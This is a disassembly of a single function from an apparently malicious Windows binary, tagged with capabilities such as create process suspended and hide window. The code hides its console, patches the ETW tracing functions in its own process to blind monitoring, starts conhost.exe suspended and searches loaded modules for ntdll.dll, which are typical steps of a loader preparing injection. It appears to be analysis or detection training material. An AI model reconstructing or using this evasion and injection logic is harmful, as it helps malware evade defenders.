Function at 0x10003610
Capabilities:
Create process on windows
Create process suspended
Enumerate process modules
Hide graphical window
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x458
movdqa xmmword [rsp + 0x440], xmm15
movdqa xmmword [rsp + 0x430], xmm14
movdqa xmmword [rsp + 0x420], xmm13
movdqa xmmword [rsp + 0x410], xmm12
movdqa xmmword [rsp + 0x400], xmm11
movdqa xmmword [rsp + 0x3f0], xmm10
movdqa xmmword [rsp + 0x3e0], xmm9
movdqa xmmword [rsp + 0x3d0], xmm8
movapd xmmword [rsp + 0x3c0], xmm7
movdqa xmmword [rsp + 0x3b0], xmm6
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x104a37dc]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x104a382f]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
movdqa xmmword [rsp + 0x1a0], xmm6
movdqa xmmword [rsp + 0x200], xmm6
movdqa xmmword [rsp + 0x1f0], xmm6
movdqa xmmword [rsp + 0x1e0], xmm6
movdqa xmmword [rsp + 0x1d0], xmm6
movdqa xmmword [rsp + 0x1c0], xmm6
movdqa xmmword [rsp + 0x1b0], xmm6
mov dword [rsp + 0x1a0], 0x70
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x1a0]
mov qword [rsp + 0x40], rbx
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.conhost.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x188], rax
call sub.KERNEL32.dll_GetCurrentProcess
mov r14, rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x1a0], 8
movdqu xmmword [rsp + 0x1a8], xmm6
mov dword [rsp + 0xe0], 0
mov esi, 8
xor r15d, r15d
xor ebp, ebp
jmp 0x1000389e
mov r15, r12
mov qword [rsp + 0x1b0], r15
mov ebp, r12d
lea r8d, [r15*8]
mov dword [rsp + 0x20], 3
mov rcx, r14
mov rdx, rsi
lea r9, [rsp + 0xe0]
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x10005c73
mov r12d, dword [rsp + 0xe0]
cmp r12d, ebp
jbe 0x10003952
mov rdi, r12
sub rdi, r15
jbe 0x10003890
mov rax, qword [rsp + 0x1a8]
sub rax, r15
cmp rax, rdi
jb 0x10003928
lea rcx, [rsi + r15*8]
cmp rdi, 2
jb 0x10003919
lea r8, [rdi*8 - 8]
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [r15 + rdi]
lea rcx, [rsi + rax*8]
add rcx, 0xfffffffffffffff8
add r15, rdi
dec r15
mov qword [rcx], 0
inc r15
jmp 0x10003893
mov rcx, rbx
mov rdx, r15
mov r8, rdi
call fcn.10039200
mov rsi, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1b0]
lea rcx, [rsi + r15*8]
cmp rdi, 2
jae 0x100038f8
jmp 0x10003919
mov r14d, r12d
shr r14d, 3
cmp r15, r14
jb 0x10005e02
mov edi, eax
cmp r12d, 8
jae 0x10004b75
mov eax, 8
mov qword [rsp + 0x80], rax
xor r12d, r12d
cmp qword [rsp + 0x1a8], 0
je 0x1000399a
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0xd0], r14
test edi, edi
je 0x10005e16
test r12, r12
je 0x10004bd3
mov rdx, r12
shl rdx, 4
mov rax, qword [rsp + 0x80]
add rdx, rax
lea rcx, [rsp + 0x1a0]
mov qword [rsp + 0x178], rcx
lea rbp, [0x104a4a30]
mov r14d, 0xff
lea r15, [0x104a4abc]
lea rcx, str.library_alloc_src_str.rs
mov qword [rsp + 0xc8], rcx
movapd xmm7, xmmword [0x10047080]
movdqa xmm11, xmmword [0x100470c0]
movdqa xmm12, xmmword [0x100470d0]
movdqa xmm13, xmmword [0x100470e0]
movdqa xmm14, xmmword [0x100470f0]
movdqa xmm15, xmmword [0x10047100]
movdqa xmm8, xmmword [0x10047110]
movdqa xmm9, xmmword [0x10047120]
movdqa xmm6, xmmword [0x10047140]
lea rcx, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x198], rdx
jmp 0x10003a7a
mov rax, qword [rsp + 0xd8]
add rax, 0x10
cmp rax, qword [rsp + 0x198]
je 0x10004bd3
movdqu xmm10, xmmword [rax]
mov qword [rsp + 0xd8], rax
mov rsi, qword [rax]
mov r8d, 0x208
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rsi]
pshufd xmm0, xmm10, 0xee
movq rdx, xmm0
mov qword [rsp + 0x180], rdx
mov r8, rdi
mov r9d, 0x104
call sub.PSAPI.DLL_GetModuleBaseNameW
test eax, eax
je 0x10005d81
mov r8d, eax
cmp eax, 0x105
jae 0x10005dc6
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.100196e0
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xf0]
mov r13, rax
test rax, rax
pxor xmm10, xmm10
je 0x10003bc0
lea rbx, [rsi + r13]
xor edi, edi
mov rcx, rsi
jmp 0x10003b3f
add rcx, 2
cmp rax, rbx
cmovne rax, rcx
mov r8d, 2
nop
add rdi, r8
mov rcx, rax
cmp rax, rbx
je 0x10003bc0
lea rax, [rcx + 1]
movzx edx, byte [rcx]
mov r8d, 1
test dl, dl
jns 0x10003b30
cmp dl, 0xe0
jb 0x10003b1d
cmp dl, 0xed
jne 0x10003b81
cmp rax, rbx
je 0x10003bc0
lea rax, [rcx + 2]
cmp rax, rbx
je 0x10003bc0
cmp byte [rcx + 1], 0x9f
ja 0x100048a0
add rcx, 3
mov r8d, 3
mov rax, rcx
jmp 0x10003b30
add rcx, 2
cmp rax, rbx
cmove rcx, rax
xor eax, eax
cmp rcx, rbx
setne al
add rax, rcx
mov r8d, 3
cmp dl, 0xf0
jb 0x10003b30
xor ecx, ecx
cmp rax, rbx
setne cl
add rax, rcx
mov r8d, 4
jmp 0x10003b30
mov rdi, rsi
test r13, r13
je 0x10003c10
js 0x10005d4f
movzx eax, byte [0x104b6120]
mov rax, qword [0x104b60c8]
test rax, rax
jne 0x10003bf6
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005d40
mov qword [0x104b60c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x10003c15
jmp 0x10005d40
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rdi, r13
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xc0], rdi
cmp qword [rsp + 0xe8], 0
je 0x10003c52
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
movabs rbx, 0x8080808080808080
test r13, r13
je 0x10003ef0
js 0x10005d4f
movzx eax, byte [0x104b6120]
mov rax, qword [0x104b60c8]
test rax, rax
jne 0x10003c93
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005d40
mov qword [0x104b60c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005d40
mov r12, rax
xor esi, esi
cmp r13, 0x10
jb 0x10003ef8
nop dword [rax + rax]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax + rsi]
movdqu xmm0, xmmword [rax + rsi]
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
mov rdx, rax
or rdx, rcx
test rdx, rbx
jne 0x10003ef8
mov r8, rcx
mov r10, rcx
mov rdx, rcx
shr rdx, 0x28
mov r9, rcx
shr r9, 0x20
pshufd xmm1, xmm0, 0x44
movdqa xmm2, xmm0
psrlq xmm2, 0x10
psrlq xmm1, 0x18
movsd xmm1, xmm2
shr ecx, 8
movd xmm2, ecx
movdqa xmm3, xmm0
punpcklqdq xmm3, xmm2
andpd xmm1, xmm7
pand xmm3, xmm7
packuswb xmm3, xmm1
movd xmm1, r9d
pshufd xmm1, xmm1, 0x50
movdqa xmm2, xmmword [0x10047090]
pandn xmm2, xmm1
movd xmm1, edx
psllq xmm1, 0x28
movdqa xmm4, xmmword [0x100470a0]
pandn xmm4, xmm1
mov rcx, rax
shr rcx, 0x28
mov rdx, rax
shr rdx, 0x20
mov r9d, eax
shr r9d, 0x18
mov r11d, eax
shr r11d, 0x10
mov edi, eax
shr edi, 8
shr r8, 0x38
shr r10, 0x30
packuswb xmm3, xmm10
packuswb xmm3, xmm10
por xmm4, xmm2
por xmm4, xmm3
movdqa xmm2, xmmword [0x100470b0]
pand xmm4, xmm2
movd xmm1, r10d
psllq xmm1, 0x30
pandn xmm2, xmm1
por xmm2, xmm4
pand xmm2, xmm11
movd xmm1, r8d
psllq xmm1, 0x38
movdqa xmm3, xmm11
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm12
movd xmm1, eax
pshufd xmm1, xmm1, 0x44
movdqa xmm2, xmm12
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm13
movd xmm1, edi
pslldq xmm1, 9
movdqa xmm3, xmm13
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm14
movd xmm1, r11d
pslldq xmm1, 0xa
movdqa xmm2, xmm14
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm15
movd xmm1, r9d
pslldq xmm1, 0xb
movdqa xmm3, xmm15
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm8
movd xmm1, edx
pshufd xmm1, xmm1, 0
movdqa xmm2, xmm8
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, ecx
pslldq xmm1, 0xd
movdqa xmm3, xmm9
pandn xmm3, xmm1
shr rax, 0x30
pand xmm2, xmm9
por xmm3, xmm2
pand xmm3, xmmword [0x10047130]
movd xmm1, eax
pslldq xmm1, 0xe
por xmm1, xmm3
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x10047150]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x10047160]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [0x10047170]
por xmm1, xmm2
movdqu xmmword [r12 + rsi], xmm1
lea rax, [rsi + 0x10]
add rsi, 0x20
cmp rsi, r13
mov rsi, rax
jbe 0x10003cc0
mov rsi, rax
jmp 0x10003ef8
mov r12d, 1
xor esi, esi
mov rax, r13
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x1b0], rsi
sub rax, rsi
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x190], r13
jne 0x10003f40
mov rsi, r13
jmp 0x100047d5
mov rax, qword [rsp + 0x98]
lea rbx, [rax + rsi]
add rax, r13
mov qword [rsp + 0xa0], rax
xor edi, edi
mov r8, rbx
jmp 0x10003fa0
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov byte [rax + rsi], r12b
inc rsi
mov qword [rsp + 0x1b0], rsi
sub rdi, qword [rsp + 0x78]
mov r8, qword [rsp + 0xb8]
add rdi, r8
cmp r8, qword [rsp + 0xa0]
je 0x100047c0
movzx r12d, byte [r8]
test r12b, r12b
js 0x10004000
lea rax, [r8 + 1]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
je 0x10004110
cmp r12d, 0x110000
je 0x100047c0
cmp r12d, 0x80
jae 0x10004080
lea eax, [r12 - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, r12d
mov r12d, ecx
jmp 0x100043e9
mov eax, r12d
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp r12b, 0xdf
jbe 0x100040e1
movzx ecx, byte [r8 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r12b, 0xf0
jb 0x1000434a
movzx r12d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r12d, 0x3f
or r12d, ecx
or r12d, eax
cmp r12d, 0x110000
je 0x100047c0
lea rax, [r8 + 4]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10003fc7
jmp 0x10004110
mov eax, 0x57f
xor edx, edx
mov ecx, 0x57f
jmp 0x1000409c
mov rcx, rax
sub rax, rdx
jbe 0x100043e0
shr rax, 1
add rax, rdx
xor r8d, r8d
lea r9, [0x104a5318]
cmp dword [r9 + rax*8], r12d
setne r8b
cmovb r8d, r14d
cmp r8b, 1
je 0x10004090
movzx edx, r8b
cmp edx, 0xff
jne 0x10004378
inc rax
mov rdx, rax
mov rax, rcx
sub rax, rdx
ja 0x1000409c
jmp 0x100043e0
lea rcx, [r8 + 2]
shl eax, 6
or eax, edx
mov r12d, eax
mov rax, rcx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10003fc7
nop word [rax + rax]
test rdi, rdi
je 0x10004130
cmp rdi, qword [rsp + 0x88]
jae 0x1000412a
cmp byte [rbx + rdi], 0xbf
jg 0x10004130
jmp 0x10005d04
jne 0x10005d04
lea rdx, [rbx + rdi]
xor eax, eax
jmp 0x1000414e
mov al, 1
cmp ecx, 0x110000
jne 0x10004307
cmp rdx, rbx
je 0x100046a0
movzx ecx, byte [rdx - 1]
test cl, cl
js 0x10004170
dec rdx
jmp 0x100041d3
movzx r8d, byte [rdx - 2]
cmp r8b, 0xc0
jge 0x100041a0
movzx r9d, byte [rdx - 3]
cmp r9b, 0xc0
jge 0x100041aa
movzx r10d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x100041b2
add rdx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x100041bd
add rdx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp ecx, 0x110000
je 0x100046a0
test al, al
jne 0x10004140
mov r9d, ecx
shl r9d, 0xb
mov r8d, 0x23
xor eax, eax
mov r10d, 0x23
jmp 0x10004208
mov r10, r8
sub r8, rax
jbe 0x10004249
shr r8, 1
add r8, rax
mov r12d, dword [rbp + r8*4]
shl r12d, 0xb
xor r11d, r11d
cmp r12d, r9d
setne r11b
cmovb r11d, r14d
cmp r11b, 1
je 0x10004200
movzx eax, r11b
inc r8
cmp eax, 0xff
jne 0x10004246
mov rax, r8
mov r8, r10
sub r8, rax
ja 0x10004208
jmp 0x10004249
mov rax, r8
cmp rax, 0x22
ja 0x10005c47
jne 0x10004263
mov r9d, 0x21
mov r8d, 0x36b
jmp 0x10004279
mov r8d, dword [rbp + rax*4 + 4]
shr r8d, 0x15
test rax, rax
je 0x100042ff
lea r9, [rax - 1]
mov r10d, dword [rbp + r9*4]
mov r9d, 0x1fffff
and r10d, r9d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r9, rax
not r9
add r9, r8
je 0x100042d5
mov r9d, ecx
sub r9d, r10d
dec r8
xor r11d, r11d
mov r10, rax
nop dword [rax + rax]
cmp r10, 0x36a
ja 0x10005079
movzx r12d, byte [r10 + r15]
add r11d, r12d
cmp r11d, r9d
ja 0x100042df
inc r10
cmp r8, r10
jne 0x100042b0
mov rax, r8
test al, 1
je 0x10004140
jmp 0x100042ea
mov rax, r10
test al, 1
je 0x10004140
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x1000414e
jmp 0x10004307
xor r10d, r10d
jmp 0x10004287
call fcn.1000a8b0
test al, al
je 0x100046a0
mov r8, rdi
mov rdx, qword [rsp + 0x88]
add r8, 2
je 0x100044a0
mov rdx, qword [rsp + 0x88]
sub rdx, r8
jbe 0x1000449a
cmp byte [rbx + r8], 0xc0
jge 0x100044a0
jmp 0x10005ddf
lea rdx, [r8 + 3]
shl eax, 0xc
or ecx, eax
mov rax, rdx
mov r12d, ecx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10003fc7
jmp 0x10004110
lea rcx, [0x104a5318]
mov r12d, dword [rcx + rax*8 + 4]
mov eax, r12d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp r12d, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne r12d, eax
je 0x100043e0
lea rcx, [rsp + 0x1a0]
mov edx, r12d
call fcn.10006aa0
mov dword [rsp + 0xe0], 0
mov r12d, 0x307
jmp 0x10004428
cmp r12d, 0x80
jae 0x10004414
mov rsi, qword [rsp + 0x1b0]
cmp rsi, qword [rsp + 0x1a8]
jne 0x10003f66
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.100062f0
jmp 0x10003f5e
mov dword [rsp + 0xe0], 0
cmp r12d, 0x800
jae 0x10004452
mov eax, r12d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0xe0], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe1], r12b
mov r12d, 2
jmp 0x1000475c
mov eax, r12d
cmp r12d, 0x10000
jae 0x10004718
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe2], r12b
mov r12d, 3
jmp 0x1000475c
jne 0x10005ddf
add r8, rbx
add rdx, r8
xor eax, eax
jmp 0x100044ce
add r8, 2
shl r9d, 6
or r9d, r11d
mov ecx, r9d
test al, al
je 0x100044e6
nop dword [rax]
mov al, 1
cmp ecx, 0x110000
jne 0x10004692
cmp r8, rdx
je 0x100046de
movzx ecx, byte [r8]
test cl, cl
js 0x10004550
inc r8
test al, al
jne 0x100044c0
mov r10d, ecx
shl r10d, 0xb
mov r9d, 0x23
xor eax, eax
mov r11d, 0x23
jmp 0x1000450c
mov r11, r9
sub r9, rax
jbe 0x100045bc
shr r9, 1
add r9, rax
mov r13d, dword [rbp + r9*4]
shl r13d, 0xb
xor r12d, r12d
cmp r13d, r10d
setne r12b
cmovb r12d, r14d
cmp r12b, 1
je 0x10004500
movzx eax, r12b
inc r9
cmp eax, 0xff
jne 0x100045b9
mov rax, r9
mov r9, r11
sub r9, rax
ja 0x1000450c
jmp 0x100045bc
mov r9d, ecx
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x100044aa
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp cl, 0xf0
jb 0x1000466f
movzx ecx, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, r9d
cmp ecx, 0x110000
je 0x100046de
add r8, 4
test al, al
jne 0x100044c0
jmp 0x100044e6
mov rax, r9
cmp rax, 0x22
ja 0x10005c5d
jne 0x100045d6
mov r10d, 0x21
mov r9d, 0x36b
jmp 0x100045ec
mov r9d, dword [rbp + rax*4 + 4]
shr r9d, 0x15
test rax, rax
je 0x1000468a
lea r10, [rax - 1]
mov r11d, dword [rbp + r10*4]
mov r10d, 0x1fffff
and r11d, r10d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r10, rax
not r10
add r10, r9
je 0x10004645
mov r10d, ecx
sub r10d, r11d
dec r9
xor r12d, r12d
mov r11, rax
nop dword [rax + rax]
cmp r11, 0x36a
ja 0x10005133
movzx r13d, byte [r11 + r15]
add r12d, r13d
cmp r12d, r10d
ja 0x1000464f
inc r11
cmp r9, r11
jne 0x10004620
mov rax, r9
test al, 1
je 0x100044c0
jmp 0x1000465a
mov rax, r11
test al, 1
je 0x100044c0
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x100044ce
jmp 0x10004692
add r8, 3
shl r9d, 0xc
or r10d, r9d
mov ecx, r10d
test al, al
jne 0x100044c0
jmp 0x100044e6
xor r11d, r11d
jmp 0x100045fa
call fcn.1000a8b0
test al, al
je 0x100046de
nop dword [rax + rax]
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x83cf
cmp rax, 2
jae 0x10004700
mov r8d, 2
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.10006450
mov rax, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x1b0]
jmp 0x10004705
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x82cf
cmp rax, 1
jbe 0x100046b6
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov word [rax + rsi], r12w
add rsi, 2
jmp 0x10003f7a
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe2], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe3], r12b
mov r12d, 4
mov rax, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
sub rax, rsi
cmp rax, r12
jae 0x1000478f
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
mov r8, r12
call fcn.10006450
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
lea rcx, [rax + rsi]
lea rdx, [rsp + 0xe0]
mov r8, r12
call sub.msvcrt.dll_memcpy
add rsi, r12
jmp 0x10003f7a
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov r13, qword [rsp + 0x1a8]
mov rbx, qword [rsp + 0xc0]
movzx eax, byte [0x104b6120]
mov rax, qword [0x104b60c8]
test rax, rax
jne 0x10004805
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005d56
mov qword [0x104b60c8], rax
mov r8d, 9
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005d56
movabs rcx, 0x6c642e6c6c64746e
mov qword [rax], rcx
mov byte [rax + 8], 0x6c
cmp rsi, 9
jne 0x10004853
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx]
xor rcx, qword [rax]
movzx edx, byte [rdx + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
je 0x10005b3c
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x1000487c
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
je 0x10003a60
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
jmp 0x10003a60
test r13, r13
js 0x10005d4f
movzx eax, byte [0x104b6120]
mov rax, qword [0x104b60c8]
test rax, rax
jne 0x100048d4
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
mov r12, r13
je 0x10005eef
mov qword [0x104b60c8], rax
mov rcx, rax
xor edx, edx
mov r12, r13
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005eef
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r12
sub r12, rdi
jb 0x1000609d
mov rcx, rax
mov rdx, rsi
mov r8, rdi
mov qword [rsp + 0x78], rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x68], rdi
mov r10, rdi
cmp r12, 2
ja 0x10004943
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1001a450
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add rdi, 3
cmp rdi, r13
ja 0x10005f12
cmp rdi, r13
je 0x10004b11
lea r9, [rsi + rdi]
mov r12, rdi
mov qword [rsp + 0xb8], r9
jmp 0x100049af
add r9, 2
cmp rax, rbx
cmovne rax, r9
mov r8d, 2
nop word cs:[rax + rax]
add r12, r8
mov r9, rax
cmp rax, rbx
je 0x10004b14
lea rax, [r9 + 1]
movzx edx, byte [r9]
mov r8d, 1
test dl, dl
jns 0x100049a0
cmp dl, 0xe0
jb 0x10004980
cmp dl, 0xed
jne 0x100049f7
cmp rax, rbx
je 0x10004b14
lea rax, [r9 + 2]
cmp rax, rbx
je 0x10004b14
cmp byte [r9 + 1], 0x9f
ja 0x10004a2e
add r9, 3
mov r8d, 3
mov rax, r9
jmp 0x100049a0
add r9, 2
cmp rax, rbx
cmove r9, rax
xor eax, eax
cmp r9, rbx
setne al
add rax, r9
mov r8d, 3
cmp dl, 0xf0
jb 0x100049a0
xor edx, edx
cmp rax, rbx
setne dl
add rax, rdx
mov r8d, 4
jmp 0x100049a0
mov r8, r12
sub r8, rdi
jb 0x10006077
cmp r12, r13
ja 0x1000608b
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x10004a7f
lea rcx, [rsp + 0x58]
mov rdx, r10
mov rdi, r8
call fcn.1001a450
mov r10, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov r8, rdi
jmp 0x10004a87
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x70], r10
mov qword [rsp + 0x78], rcx
add rcx, r10
mov rdx, qword [rsp + 0xb8]
mov rdi, r8
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x70]
add r10, rdi
mov qword [rsp + 0x68], r10
mov rax, qword [rsp + 0xa0]
sub rax, r10
cmp rax, 2
ja 0x10004ae1
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, r10
call fcn.1001a450
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004ae6
mov rcx, qword [rsp + 0x78]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add r12, 3
mov rdi, r12
cmp r12, r13
jbe 0x10004966
jmp 0x10005f15
mov rdi, r13
mov r8, r13
sub r8, rdi
mov rax, qword [rsp + 0x60]
sub rax, r10
cmp rax, r8
jae 0x10004b43
lea rcx, [rsp + 0x58]
mov rdx, r10
mov r13, r8
call fcn.1001a450
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004b46
mov r13, r8
add rdi, rsi
add rcx, r10
mov rdx, rdi
mov r8, r13
mov rdi, r10
call sub.msvcrt.dll_memcpy
add r13, rdi
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rbx, rbx
jne 0x10003c26
jmp 0x10003bc3
mov rbx, r14
shl rbx, 4
movzx eax, byte [0x104b6120]
mov rcx, qword [0x104b60c8]
test rcx, rcx
jne 0x10004ba7
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e42
mov rcx, rax
mov qword [0x104b60c8], rax
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapAlloc
mov qword [rsp + 0x80], rax
test rax, rax
je 0x10005e42
cmp r14d, 1
jne 0x100050a6
xor eax, eax
jmp 0x100050f5
cmp qword [rsp + 0xd0], 0
je 0x10004bf4
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
je 0x10005bbf
xor eax, eax
mov qword [rsp + 0x180], rax
movzx eax, byte [0x104b6120]
